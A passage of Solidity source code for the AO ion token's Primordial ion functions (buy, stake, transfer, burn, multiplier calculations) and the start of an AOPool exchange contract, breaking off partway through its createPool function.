* @param newPrimordialBuyPrice Price users can buy from the contract
*/
function setPrimordialPrices(uint256 newPrimordialSellPrice, uint256 newPrimordialBuyPrice) public onlyTheAO {
primordialSellPrice = newPrimordialSellPrice;
primordialBuyPrice = newPrimordialBuyPrice;
}
/**
* @dev Only the AO can force end network exchange
*/
function endNetworkExchange() public onlyTheAO {
require (!networkExchangeEnded);
networkExchangeEnded = true;
emit NetworkExchangeEnded();
}
/***** PRIMORDIAL ION WHITELISTED ADDRESS ONLY METHODS *****/
/**
* @dev Stake `_value` Primordial ions at `_weightedMultiplier ` multiplier on behalf of `_from`
* @param _from The address of the target
* @param _value The amount of Primordial ions to stake
* @param _weightedMultiplier The weighted multiplier of the Primordial ions
* @return true on success
*/
function stakePrimordialFrom(address _from, uint256 _value, uint256 _weightedMultiplier) public inWhitelist returns (bool) {
// Check if the targeted balance is enough
require (primordialBalanceOf[_from] >= _value);
// Make sure the weighted multiplier is the same as account's current weighted multiplier
require (_weightedMultiplier == ownerWeightedMultiplier[_from]);
// Subtract from the targeted balance
primordialBalanceOf[_from] = primordialBalanceOf[_from].sub(_value);
// Add to the targeted staked balance
primordialStakedBalance[_from][_weightedMultiplier] = primordialStakedBalance[_from][_weightedMultiplier].add(_value);
emit PrimordialStake(_from, _value, _weightedMultiplier);
return true;
}
/**
* @dev Unstake `_value` Primordial ions at `_weightedMultiplier` on behalf of `_from`
* @param _from The address of the target
* @param _value The amount to unstake
* @param _weightedMultiplier The weighted multiplier of the Primordial ions
* @return true on success
*/
function unstakePrimordialFrom(address _from, uint256 _value, uint256 _weightedMultiplier) public inWhitelist returns (bool) {
// Check if the targeted staked balance is enough
require (primordialStakedBalance[_from][_weightedMultiplier] >= _value);
// Subtract from the targeted staked balance
primordialStakedBalance[_from][_weightedMultiplier] = primordialStakedBalance[_from][_weightedMultiplier].sub(_value);
// Add to the targeted balance
primordialBalanceOf[_from] = primordialBalanceOf[_from].add(_value);
emit PrimordialUnstake(_from, _value, _weightedMultiplier);
return true;
}
/**
* @dev Send `_value` primordial ions to `_to` on behalf of `_from`
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value The amount to send
* @return true on success
*/
function whitelistTransferPrimordialFrom(address _from, address _to, uint256 _value) public inWhitelist returns (bool) {
return _createLotAndTransferPrimordial(_from, _to, _value);
}
/***** PUBLIC METHODS *****/
/***** PRIMORDIAL ION PUBLIC METHODS *****/
/**
* @dev Buy Primordial ions from contract by sending ether
*/
function buyPrimordial() public payable canBuyPrimordial(msg.value, true) {
(uint256 amount, uint256 remainderBudget, bool shouldEndNetworkExchange) = _calculateAmountAndRemainderBudget(msg.value, true);
require (amount > 0);
// Ends network exchange if necessary
if (shouldEndNetworkExchange) {
networkExchangeEnded = true;
emit NetworkExchangeEnded();
}
// Update totalEthForPrimordial
totalEthForPrimordial = totalEthForPrimordial.add(msg.value.sub(remainderBudget));
// Send the primordial ion to buyer and reward AO devs
bytes32 _lotId = _sendPrimordialAndRewardDev(amount, msg.sender);
emit BuyPrimordial(msg.sender, _lotId, 1, msg.value, remainderBudget);
// Send remainder budget back to buyer if exist
if (remainderBudget > 0) {
msg.sender.transfer(remainderBudget);
}
}
/**
* @dev Buy Primordial ion from contract by sending AOETH
*/
function buyPrimordialWithAOETH(uint256 _aoethAmount) public canBuyPrimordial(_aoethAmount, false) {
(uint256 amount, uint256 remainderBudget, bool shouldEndNetworkExchange) = _calculateAmountAndRemainderBudget(_aoethAmount, false);
require (amount > 0);
// Ends network exchange if necessary
if (shouldEndNetworkExchange) {
networkExchangeEnded = true;
emit NetworkExchangeEnded();
}
// Calculate the actual AOETH that was charged for this transaction
uint256 actualCharge = _aoethAmount.sub(remainderBudget);
// Update totalRedeemedAOETH
totalRedeemedAOETH = totalRedeemedAOETH.add(actualCharge);
// Transfer AOETH from buyer to here
require (_aoeth.whitelistTransferFrom(msg.sender, address(this), actualCharge));
// Send the primordial ion to buyer and reward AO devs
bytes32 _lotId = _sendPrimordialAndRewardDev(amount, msg.sender);
emit BuyPrimordial(msg.sender, _lotId, 2, _aoethAmount, remainderBudget);
}
/**
* @dev Send `_value` Primordial ions to `_to` from your account
* @param _to The address of the recipient
* @param _value The amount to send
* @return true on success
*/
function transferPrimordial(address _to, uint256 _value) public returns (bool) {
return _createLotAndTransferPrimordial(msg.sender, _to, _value);
}
/**
* @dev Send `_value` Primordial ions to `_to` from `_from`
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value The amount to send
* @return true on success
*/
function transferPrimordialFrom(address _from, address _to, uint256 _value) public returns (bool) {
require (_value <= primordialAllowance[_from][msg.sender]);
primordialAllowance[_from][msg.sender] = primordialAllowance[_from][msg.sender].sub(_value);
return _createLotAndTransferPrimordial(_from, _to, _value);
}
/**
* Transfer primordial ions between public key addresses in a Name
* @param _nameId The ID of the Name
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferPrimordialBetweenPublicKeys(address _nameId, address _from, address _to, uint256 _value) public returns (bool) {
require (AOLibrary.isName(_nameId));
require (_nameTAOPosition.senderIsAdvocate(msg.sender, _nameId));
require (!_nameAccountRecovery.isCompromised(_nameId));
// Make sure _from exist in the Name's Public Keys
require (_namePublicKey.isKeyExist(_nameId, _from));
// Make sure _to exist in the Name's Public Keys
require (_namePublicKey.isKeyExist(_nameId, _to));
return _createLotAndTransferPrimordial(_from, _to, _value);
}
/**
* @dev Allows `_spender` to spend no more than `_value` Primordial ions in your behalf
* @param _spender The address authorized to spend
* @param _value The max amount they can spend
* @return true on success
*/
function approvePrimordial(address _spender, uint256 _value) public returns (bool) {
primordialAllowance[msg.sender][_spender] = _value;
emit PrimordialApproval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Allows `_spender` to spend no more than `_value` Primordial ions in your behalf, and then ping the contract about it
* @param _spender The address authorized to spend
* @param _value The max amount they can spend
* @param _extraData some extra information to send to the approved contract
* @return true on success
*/
function approvePrimordialAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool) {
tokenRecipient spender = tokenRecipient(_spender);
if (approvePrimordial(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
/**
* @dev Remove `_value` Primordial ions from the system irreversibly
* and re-weight the account's multiplier after burn
* @param _value The amount to burn
* @return true on success
*/
function burnPrimordial(uint256 _value) public returns (bool) {
require (primordialBalanceOf[msg.sender] >= _value);
require (calculateMaximumBurnAmount(msg.sender) >= _value);
// Update the account's multiplier
ownerWeightedMultiplier[msg.sender] = calculateMultiplierAfterBurn(msg.sender, _value);
primordialBalanceOf[msg.sender] = primordialBalanceOf[msg.sender].sub(_value);
primordialTotalSupply = primordialTotalSupply.sub(_value);
// Store burn lot info
require (_aoIonLot.createBurnLot(msg.sender, _value, ownerWeightedMultiplier[msg.sender]));
emit PrimordialBurn(msg.sender, _value);
return true;
}
/**
* @dev Remove `_value` Primordial ions from the system irreversibly on behalf of `_from`
* and re-weight `_from`'s multiplier after burn
* @param _from The address of sender
* @param _value The amount to burn
* @return true on success
*/
function burnPrimordialFrom(address _from, uint256 _value) public returns (bool) {
require (primordialBalanceOf[_from] >= _value);
require (primordialAllowance[_from][msg.sender] >= _value);
require (calculateMaximumBurnAmount(_from) >= _value);
// Update `_from`'s multiplier
ownerWeightedMultiplier[_from] = calculateMultiplierAfterBurn(_from, _value);
primordialBalanceOf[_from] = primordialBalanceOf[_from].sub(_value);
primordialAllowance[_from][msg.sender] = primordialAllowance[_from][msg.sender].sub(_value);
primordialTotalSupply = primordialTotalSupply.sub(_value);
// Store burn lot info
require (_aoIonLot.createBurnLot(_from, _value, ownerWeightedMultiplier[_from]));
emit PrimordialBurn(_from, _value);
return true;
}
/**
* @dev Return the average weighted multiplier of all lots owned by an address
* @param _lotOwner The address of the lot owner
* @return the weighted multiplier of the address (in 10 ** 6)
*/
function weightedMultiplierByAddress(address _lotOwner) public view returns (uint256) {
return ownerWeightedMultiplier[_lotOwner];
}
/**
* @dev Return the max multiplier of an address
* @param _target The address to query
* @return the max multiplier of the address (in 10 ** 6)
*/
function maxMultiplierByAddress(address _target) public view returns (uint256) {
return (_aoIonLot.totalLotsByAddress(_target) > 0) ? ownerMaxMultiplier[_target] : 0;
}
/**
* @dev Calculate the primordial ion multiplier, bonus network ion percentage, and the
* bonus network ion amount on a given lot when someone purchases primordial ion
* during network exchange
* @param _purchaseAmount The amount of primordial ion intended to be purchased
* @return The multiplier in (10 ** 6)
* @return The bonus percentage
* @return The amount of network ion as bonus
*/
function calculateMultiplierAndBonus(uint256 _purchaseAmount) public view returns (uint256, uint256, uint256) {
(uint256 startingPrimordialMultiplier, uint256 endingPrimordialMultiplier, uint256 startingNetworkBonusMultiplier, uint256 endingNetworkBonusMultiplier) = _getSettingVariables();
return (
AOLibrary.calculatePrimordialMultiplier(_purchaseAmount, TOTAL_PRIMORDIAL_FOR_SALE, primordialTotalBought, startingPrimordialMultiplier, endingPrimordialMultiplier),
AOLibrary.calculateNetworkBonusPercentage(_purchaseAmount, TOTAL_PRIMORDIAL_FOR_SALE, primordialTotalBought, startingNetworkBonusMultiplier, endingNetworkBonusMultiplier),
AOLibrary.calculateNetworkBonusAmount(_purchaseAmount, TOTAL_PRIMORDIAL_FOR_SALE, primordialTotalBought, startingNetworkBonusMultiplier, endingNetworkBonusMultiplier)
);
}
/**
* @dev Calculate the maximum amount of Primordial an account can burn
* @param _account The address of the account
* @return The maximum primordial ion amount to burn
*/
function calculateMaximumBurnAmount(address _account) public view returns (uint256) {
return AOLibrary.calculateMaximumBurnAmount(primordialBalanceOf[_account], ownerWeightedMultiplier[_account], ownerMaxMultiplier[_account]);
}
/**
* @dev Calculate account's new multiplier after burn `_amountToBurn` primordial ions
* @param _account The address of the account
* @param _amountToBurn The amount of primordial ion to burn
* @return The new multiplier in (10 ** 6)
*/
function calculateMultiplierAfterBurn(address _account, uint256 _amountToBurn) public view returns (uint256) {
require (calculateMaximumBurnAmount(_account) >= _amountToBurn);
return AOLibrary.calculateMultiplierAfterBurn(primordialBalanceOf[_account], ownerWeightedMultiplier[_account], _amountToBurn);
}
/**
* @dev Calculate account's new multiplier after converting `amountToConvert` network ion to primordial ion
* @param _account The address of the account
* @param _amountToConvert The amount of network ion to convert
* @return The new multiplier in (10 ** 6)
*/
function calculateMultiplierAfterConversion(address _account, uint256 _amountToConvert) public view returns (uint256) {
return AOLibrary.calculateMultiplierAfterConversion(primordialBalanceOf[_account], ownerWeightedMultiplier[_account], _amountToConvert);
}
/**
* @dev Convert `_value` of network ions to primordial ions
* and re-weight the account's multiplier after conversion
* @param _value The amount to convert
* @return true on success
*/
function convertToPrimordial(uint256 _value) public returns (bool) {
require (balanceOf[msg.sender] >= _value);
// Update the account's multiplier
ownerWeightedMultiplier[msg.sender] = calculateMultiplierAfterConversion(msg.sender, _value);
// Burn network ion
burn(_value);
// mint primordial ion
_mintPrimordial(msg.sender, _value);
require (_aoIonLot.createConvertLot(msg.sender, _value, ownerWeightedMultiplier[msg.sender]));
return true;
}
/**
* @dev Get quantity of AO+ left in Network Exchange
* @return The quantity of AO+ left in Network Exchange
*/
function availablePrimordialForSale() public view returns (uint256) {
return TOTAL_PRIMORDIAL_FOR_SALE.sub(primordialTotalBought);
}
/**
* @dev Get quantity of AO+ in ETH left in Network Exchange (i.e How much ETH is there total that can be
* exchanged for AO+
* @return The quantity of AO+ in ETH left in Network Exchange
*/
function availablePrimordialForSaleInETH() public view returns (uint256) {
return availablePrimordialForSale().mul(primordialBuyPrice);
}
/**
* @dev Get maximum quantity of AOETH or ETH that can still be sold
* @return The maximum quantity of AOETH or ETH that can still be sold
*/
function availableETH() public view returns (uint256) {
if (availablePrimordialForSaleInETH() > 0) {
uint256 _availableETH = availablePrimordialForSaleInETH().sub(_aoeth.totalSupply().sub(totalRedeemedAOETH));
if (availablePrimordialForSale() == 1 && _availableETH < primordialBuyPrice) {
return primordialBuyPrice;
} else {
return _availableETH;
}
} else {
return 0;
}
}
/***** INTERNAL METHODS *****/
/***** PRIMORDIAL ION INTERNAL METHODS *****/
/**
* @dev Calculate the amount of ion the buyer will receive and remaining budget if exist
* when he/she buys primordial ion
* @param _budget The amount of ETH sent by buyer
* @param _withETH Whether or not buyer is paying with ETH
* @return uint256 of the amount the buyer will receiver
* @return uint256 of the remaining budget, if exist
* @return bool whether or not the network exchange should end
*/
function _calculateAmountAndRemainderBudget(uint256 _budget, bool _withETH) internal view returns (uint256, uint256, bool) {
// Calculate the amount of ion
uint256 amount = _budget.div(primordialBuyPrice);
// If we need to return ETH to the buyer, in the case
// where the buyer sends more ETH than available primordial ion to be purchased
uint256 remainderEth = _budget.sub(amount.mul(primordialBuyPrice));
uint256 _availableETH = availableETH();
// If paying with ETH, it can't exceed availableETH
if (_withETH && _budget > availableETH()) {
// Calculate the amount of ions
amount = _availableETH.div(primordialBuyPrice);
remainderEth = _budget.sub(amount.mul(primordialBuyPrice));
}
// Make sure primordialTotalBought is not overflowing
bool shouldEndNetworkExchange = false;
if (primordialTotalBought.add(amount) >= TOTAL_PRIMORDIAL_FOR_SALE) {
amount = TOTAL_PRIMORDIAL_FOR_SALE.sub(primordialTotalBought);
shouldEndNetworkExchange = true;
remainderEth = _budget.sub(amount.mul(primordialBuyPrice));
}
return (amount, remainderEth, shouldEndNetworkExchange);
}
/**
* @dev Actually sending the primordial ion to buyer and reward AO devs accordingly
* @param amount The amount of primordial ion to be sent to buyer
* @param to The recipient of ion
* @return the lot Id of the buyer
*/
function _sendPrimordialAndRewardDev(uint256 amount, address to) internal returns (bytes32) {
(uint256 startingPrimordialMultiplier,, uint256 startingNetworkBonusMultiplier, uint256 endingNetworkBonusMultiplier) = _getSettingVariables();
// Update primordialTotalBought
(uint256 multiplier, uint256 networkBonusPercentage, uint256 networkBonusAmount) = calculateMultiplierAndBonus(amount);
primordialTotalBought = primordialTotalBought.add(amount);
bytes32 _lotId = _createPrimordialLot(to, amount, multiplier, networkBonusAmount);
// Calculate The AO and AO Dev Team's portion of Primordial and Network ion Bonus
uint256 inverseMultiplier = startingPrimordialMultiplier.sub(multiplier); // Inverse of the buyer's multiplier
uint256 theAONetworkBonusAmount = (startingNetworkBonusMultiplier.sub(networkBonusPercentage).add(endingNetworkBonusMultiplier)).mul(amount).div(AOLibrary.PERCENTAGE_DIVISOR());
if (aoDevTeam1 != address(0)) {
_createPrimordialLot(aoDevTeam1, amount.div(2), inverseMultiplier, theAONetworkBonusAmount.div(2));
}
if (aoDevTeam2 != address(0)) {
_createPrimordialLot(aoDevTeam2, amount.div(2), inverseMultiplier, theAONetworkBonusAmount.div(2));
}
_mint(theAO, theAONetworkBonusAmount);
return _lotId;
}
/**
* @dev Create a lot with `primordialAmount` of primordial ions with `_multiplier` for an `account`
* during network exchange, and reward `_networkBonusAmount` if exist
* @param _account Address of the lot owner
* @param _primordialAmount The amount of primordial ions to be stored in the lot
* @param _multiplier The multiplier for this lot in (10 ** 6)
* @param _networkBonusAmount The network ion bonus amount
* @return Created lot Id
*/
function _createPrimordialLot(address _account, uint256 _primordialAmount, uint256 _multiplier, uint256 _networkBonusAmount) internal returns (bytes32) {
bytes32 lotId = _aoIonLot.createPrimordialLot(_account, _primordialAmount, _multiplier, _networkBonusAmount);
ownerWeightedMultiplier[_account] = AOLibrary.calculateWeightedMultiplier(ownerWeightedMultiplier[_account], primordialBalanceOf[_account], _multiplier, _primordialAmount);
// If this is the first lot, set this as the max multiplier of the account
if (_aoIonLot.totalLotsByAddress(_account) == 1) {
ownerMaxMultiplier[_account] = _multiplier;
}
_mintPrimordial(_account, _primordialAmount);
_mint(_account, _networkBonusAmount);
return lotId;
}
/**
* @dev Create `mintedAmount` Primordial ions and send it to `target`
* @param target Address to receive the Primordial ions
* @param mintedAmount The amount of Primordial ions it will receive
*/
function _mintPrimordial(address target, uint256 mintedAmount) internal {
primordialBalanceOf[target] = primordialBalanceOf[target].add(mintedAmount);
primordialTotalSupply = primordialTotalSupply.add(mintedAmount);
emit PrimordialTransfer(address(0), address(this), mintedAmount);
emit PrimordialTransfer(address(this), target, mintedAmount);
}
/**
* @dev Create a lot with `amount` of ions at `weightedMultiplier` for an `account`
* @param _account Address of lot owner
* @param _amount The amount of ions
* @param _weightedMultiplier The multiplier of the lot (in 10^6)
* @return bytes32 of new created lot ID
*/
function _createWeightedMultiplierLot(address _account, uint256 _amount, uint256 _weightedMultiplier) internal returns (bytes32) {
require (_account != address(0));
require (_amount > 0);
bytes32 lotId = _aoIonLot.createWeightedMultiplierLot(_account, _amount, _weightedMultiplier);
// If this is the first lot, set this as the max multiplier of the account
if (_aoIonLot.totalLotsByAddress(_account) == 1) {
ownerMaxMultiplier[_account] = _weightedMultiplier;
}
return lotId;
}
/**
* @dev Create Lot and send `_value` Primordial ions from `_from` to `_to`
* @param _from The address of sender
* @param _to The address of the recipient
* @param _value The amount to send
* @return true on success
*/
function _createLotAndTransferPrimordial(address _from, address _to, uint256 _value) internal returns (bool) {
bytes32 _createdLotId = _createWeightedMultiplierLot(_to, _value, ownerWeightedMultiplier[_from]);
(, address _lotOwner,,) = _aoIonLot.lotById(_createdLotId);
// Make sure the new lot is created successfully
require (_lotOwner == _to);
// Update the weighted multiplier of the recipient
ownerWeightedMultiplier[_to] = AOLibrary.calculateWeightedMultiplier(ownerWeightedMultiplier[_to], primordialBalanceOf[_to], ownerWeightedMultiplier[_from], _value);
// Transfer the Primordial ions
require (_transferPrimordial(_from, _to, _value));
return true;
}
/**
* @dev Send `_value` Primordial ions from `_from` to `_to`
* @param _from The address of sender
* @param _to The address of the recipient
* @param _value The amount to send
*/
function _transferPrimordial(address _from, address _to, uint256 _value) internal returns (bool) {
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (primordialBalanceOf[_from] >= _value); // Check if the sender has enough
require (primordialBalanceOf[_to].add(_value) >= primordialBalanceOf[_to]); // Check for overflows
require (!frozenAccount[_from]); // Check if sender is frozen
require (!frozenAccount[_to]); // Check if recipient is frozen
uint256 previousBalances = primordialBalanceOf[_from].add(primordialBalanceOf[_to]);
primordialBalanceOf[_from] = primordialBalanceOf[_from].sub(_value); // Subtract from the sender
primordialBalanceOf[_to] = primordialBalanceOf[_to].add(_value); // Add the same to the recipient
emit PrimordialTransfer(_from, _to, _value);
assert(primordialBalanceOf[_from].add(primordialBalanceOf[_to]) == previousBalances);
return true;
}
/**
* @dev Get setting variables
* @return startingPrimordialMultiplier The starting multiplier used to calculate primordial ion
* @return endingPrimordialMultiplier The ending multiplier used to calculate primordial ion
* @return startingNetworkBonusMultiplier The starting multiplier used to calculate network ion bonus
* @return endingNetworkBonusMultiplier The ending multiplier used to calculate network ion bonus
*/
function _getSettingVariables() internal view returns (uint256, uint256, uint256, uint256) {
(uint256 startingPrimordialMultiplier,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'startingPrimordialMultiplier');
(uint256 endingPrimordialMultiplier,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'endingPrimordialMultiplier');
(uint256 startingNetworkBonusMultiplier,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'startingNetworkBonusMultiplier');
(uint256 endingNetworkBonusMultiplier,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'endingNetworkBonusMultiplier');
return (startingPrimordialMultiplier, endingPrimordialMultiplier, startingNetworkBonusMultiplier, endingNetworkBonusMultiplier);
}
}
/**
* @title AOPool
*
* This contract acts as the exchange between AO and ETH/ERC-20 compatible tokens
*/
contract AOPool is TheAO {
using SafeMath for uint256;
address public aoIonAddress;
AOIon internal _aoIon;
struct Pool {
uint256 price; // Flat price of AO
/**
* If true, Pool is live and can be sold into.
* Otherwise, Pool cannot be sold into.
*/
bool status;
/**
* If true, has sell cap. Otherwise, no sell cap.
*/
bool sellCapStatus;
/**
* Denominated in AO, creates a cap for the amount of AO that can be
* put up for sale in this pool at `price`
*/
uint256 sellCapAmount;
/**
* If true, has quantity cap. Otherwise, no quantity cap.
*/
bool quantityCapStatus;
/**
* Denominated in AO, creates a cap for the amount of AO at any given time
* that can be available for sale in this pool
*/
uint256 quantityCapAmount;
/**
* If true, the Pool is priced in an ERC20 compatible token.
* Otherwise, the Pool is priced in Ethereum
*/
bool erc20CounterAsset;
address erc20TokenAddress; // The address of the ERC20 Token
/**
* Used if ERC20 token needs to deviate from Ethereum in multiplication/division
*/
uint256 erc20TokenMultiplier;
address adminAddress; // defaults to TheAO address, but can be modified
}
struct Lot {
bytes32 lotId; // The ID of this Lot
address seller; // Ethereum address of the seller
uint256 lotQuantity; // Amount of AO being added to the Pool from this Lot
uint256 poolId; // Identifier for the Pool this Lot is adding to
uint256 poolPreSellSnapshot; // Amount of contributed to the Pool prior to this Lot Number
uint256 poolSellLotSnapshot; // poolPreSellSnapshot + lotQuantity
uint256 lotValueInCounterAsset; // Amount of AO x Pool Price
uint256 counterAssetWithdrawn; // Amount of Counter-Asset withdrawn from this Lot
uint256 ionWithdrawn; // Amount of AO withdrawn from this Lot
uint256 timestamp;
}
// Contract variables
uint256 public totalPool;
uint256 public contractTotalLot; // Total lot from all pools
uint256 public contractTotalSell; // Quantity of AO that has been contributed to all Pools
uint256 public contractTotalBuy; // Quantity of AO that has been bought from all Pools
uint256 public contractTotalQuantity; // Quantity of AO available to buy from all Pools
uint256 public contractTotalWithdrawn; // Quantity of AO that has been withdrawn from all Pools
uint256 public contractEthereumBalance; // Total Ethereum in contract
uint256 public contractTotalEthereumWithdrawn; // Total Ethereum withdrawn from selling AO in contract
// Mapping from Pool ID to Pool
mapping (uint256 => Pool) public pools;
// Mapping from Lot ID to Lot
mapping (bytes32 => Lot) public lots;
// Mapping from Pool ID to total Lots in the Pool
mapping (uint256 => uint256) public poolTotalLot;
// Mapping from Pool ID to quantity of AO available to buy at `price`
mapping (uint256 => uint256) public poolTotalQuantity;
// Mapping from Pool ID to quantity of AO that has been contributed to the Pool
mapping (uint256 => uint256) public poolTotalSell;
// Mapping from Pool ID to quantity of AO that has been bought from the Pool
mapping (uint256 => uint256) public poolTotalBuy;
// Mapping from Pool ID to quantity of AO that has been withdrawn from the Pool
mapping (uint256 => uint256) public poolTotalWithdrawn;
// Mapping from Pool ID to total Ethereum available to withdraw
mapping (uint256 => uint256) public poolEthereumBalance;
// Mapping from Pool ID to quantity of ERC20 token available to withdraw
mapping (uint256 => uint256) public poolERC20TokenBalance;
// Mapping from Pool ID to amount of Ethereum withdrawn from selling AO
mapping (uint256 => uint256) public poolTotalEthereumWithdrawn;
// Mapping from an address to quantity of AO put on sale from all sell lots
mapping (address => uint256) public totalPutOnSale;
// Mapping from an address to quantity of AO sold and redeemed from all sell lots
mapping (address => uint256) public totalSold;
// Mapping from an address to quantity of AO bought from all pool
mapping (address => uint256) public totalBought;
// Mapping from an address to amount of Ethereum withdrawn from selling AO
mapping (address => uint256) public totalEthereumWithdrawn;
// Mapping from an address to its Lots
mapping (address => bytes32[]) internal ownerLots;
// Mapping from Pool's Lot ID to Lot internal ID
mapping (uint256 => mapping (bytes32 => uint256)) internal poolLotInternalIdLookup;
// Mapping from Pool's Lot internal ID to total ion withdrawn
mapping (uint256 => mapping (uint256 => uint256)) internal poolLotIonWithdrawn;
// Mapping from Pool's tenth Lot to total ion withdrawn
// This is to help optimize calculating the total ion withdrawn before certain Lot
mapping (uint256 => mapping (uint256 => uint256)) internal poolTenthLotIonWithdrawnSnapshot;
// Mapping from Pool's hundredth Lot to total ion withdrawn
// This is to help optimize calculating the total ion withdrawn before certain Lot
mapping (uint256 => mapping (uint256 => uint256)) internal poolHundredthLotIonWithdrawnSnapshot;
// Mapping from Pool's thousandth Lot to total ion withdrawn
// This is to help optimize calculating the total ion withdrawn before certain Lot
mapping (uint256 => mapping (uint256 => uint256)) internal poolThousandthLotIonWithdrawnSnapshot;
// Mapping from Pool's ten thousandth Lot to total ion withdrawn
// This is to help optimize calculating the total ion withdrawn before certain Lot
mapping (uint256 => mapping (uint256 => uint256)) internal poolTenThousandthLotIonWithdrawnSnapshot;
// Mapping from Pool's hundred thousandth Lot to total ion withdrawn
// This is to help optimize calculating the total ion withdrawn before certain Lot
mapping (uint256 => mapping (uint256 => uint256)) internal poolHundredThousandthLotIonWithdrawnSnapshot;
// Mapping from Pool's millionth Lot to total ion withdrawn
// This is to help optimize calculating the total ion withdrawn before certain Lot
mapping (uint256 => mapping (uint256 => uint256)) internal poolMillionthLotIonWithdrawnSnapshot;
// Event to be broadcasted to public when Pool is created
event CreatePool(uint256 indexed poolId, address indexed adminAddress, uint256 price, bool status, bool sellCapStatus, uint256 sellCapAmount, bool quantityCapStatus, uint256 quantityCapAmount, bool erc20CounterAsset, address erc20TokenAddress, uint256 erc20TokenMultiplier);
// Event to be broadcasted to public when Pool's status is updated
// If status == true, start Pool
// Otherwise, stop Pool
event UpdatePoolStatus(uint256 indexed poolId, bool status);
// Event to be broadcasted to public when Pool's admin address is changed
event ChangeAdminAddress(uint256 indexed poolId, address newAdminAddress);
/**
* Event to be broadcasted to public when a seller sells AO
*
* If erc20CounterAsset is true, the Lot is priced in an ERC20 compatible token.
* Otherwise, the Lot is priced in Ethereum
*/
event LotCreation(uint256 indexed poolId, bytes32 indexed lotId, address indexed seller, uint256 lotQuantity, uint256 price, uint256 poolPreSellSnapshot, uint256 poolSellLotSnapshot, uint256 lotValueInCounterAsset, bool erc20CounterAsset, uint256 timestamp);
// Event to be broadcasted to public when a buyer buys AO
event BuyWithEth(uint256 indexed poolId, address indexed buyer, uint256 buyQuantity, uint256 price, uint256 currentPoolTotalBuy);
// Event to be broadcasted to public when a buyer withdraw ETH from Lot
event WithdrawEth(address indexed seller, bytes32 indexed lotId, uint256 indexed poolId, uint256 withdrawnAmount, uint256 currentLotValueInCounterAsset, uint256 currentLotCounterAssetWithdrawn);
// Event to be broadcasted to public when a seller withdraw ion from Lot
event WithdrawIon(address indexed seller, bytes32 indexed lotId, uint256 indexed poolId, uint256 withdrawnAmount, uint256 currentlotValueInCounterAsset, uint256 currentLotIonWithdrawn);
/**
* @dev Constructor function
*/
constructor(address _aoIonAddress, address _nameTAOPositionAddress) public {
setAOIonAddress(_aoIonAddress);
setNameTAOPositionAddress(_nameTAOPositionAddress);
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/***** THE AO ONLY METHODS *****/
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev The AO set the AOIonAddress Address
* @param _aoIonAddress The address of AOIonAddress
*/
function setAOIonAddress(address _aoIonAddress) public onlyTheAO {
require (_aoIonAddress != address(0));
aoIonAddress = _aoIonAddress;
_aoIon = AOIon(_aoIonAddress);
}
/**
* @dev The AO sets NameTAOPosition address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Allows TheAO to transfer `_amount` of ETH from this address to `_recipient`
* @param _recipient The recipient address
* @param _amount The amount to transfer
*/
function transferEth(address payable _recipient, uint256 _amount) public onlyTheAO {
_recipient.transfer(_amount);
}
/**
* @dev Allows TheAO to transfer `_amount` of ERC20 Token from this address to `_recipient`
* @param _erc20TokenAddress The address of ERC20 Token
* @param _recipient The recipient address
* @param _amount The amount to transfer
*/
function transferERC20(address _erc20TokenAddress, address _recipient, uint256 _amount) public onlyTheAO {
TokenERC20 _erc20 = TokenERC20(_erc20TokenAddress);
require (_erc20.transfer(_recipient, _amount));
}
/**
* @dev TheAO creates a Pool
* @param _price The flat price of AO
* @param _status The status of the Pool
* true = Pool is live and can be sold into
* false = Pool cannot be sold into
* @param _sellCapStatus Whether or not the Pool has sell cap
* true = has sell cap
* false = no sell cap
* @param _sellCapAmount Cap for the amount of AO that can be put up for sale in this Pool at `_price`
* @param _quantityCapStatus Whether or not the Pool has quantity cap
* true = has quantity cap
* false = no quantity cap
* @param _quantityCapAmount Cap for the amount of AO at any given time that can be available for sale in this Pool
* @param _erc20CounterAsset Type of the Counter-Asset
* true = Pool is priced in ERC20 compatible Token
* false = Pool is priced in Ethereum
* @param _erc20TokenAddress The address of the ERC20 Token
* @param _erc20TokenMultiplier Used if ERC20 Token needs to deviate from Ethereum in multiplication/division
*/
function createPool(
uint256 _price,
bool _status,
bool _sellCapStatus,
uint256 _sellCapAmount,
bool _quantityCapStatus,
uint256 _quantityCapAmount,
bool _erc20CounterAsset,
address _erc20TokenAddress,
uint256 _erc20TokenMultiplier) public onlyTheAO {
require (_price > 0);
// Make sure sell cap amount is provided if sell cap is enabled
if (_sellCapStatus == true) {
require (_sellCapAmount > 0);
}
// Make sure quantity cap amount is provided if quantity cap is enabled
if (_quantityCapStatus == true) {
require (_quantityCapAmount > 0);
}
// Make sure the ERC20 token address and multiplier are provided
// if this Pool is priced in ERC20 compatible Token
if (_erc20CounterAsset == true) {
require (AOLibrary.isValidERC20TokenAddress(_erc20TokenAddress));
require (_erc20TokenMultiplier > 0);
}
totalPool++;
Pool storage _pool = pools[totalPool];
_pool.price = _price;
_pool.status = _status;
_pool.sellCapStatus = _sellCapStatus;
if (_sellCapStatus) {
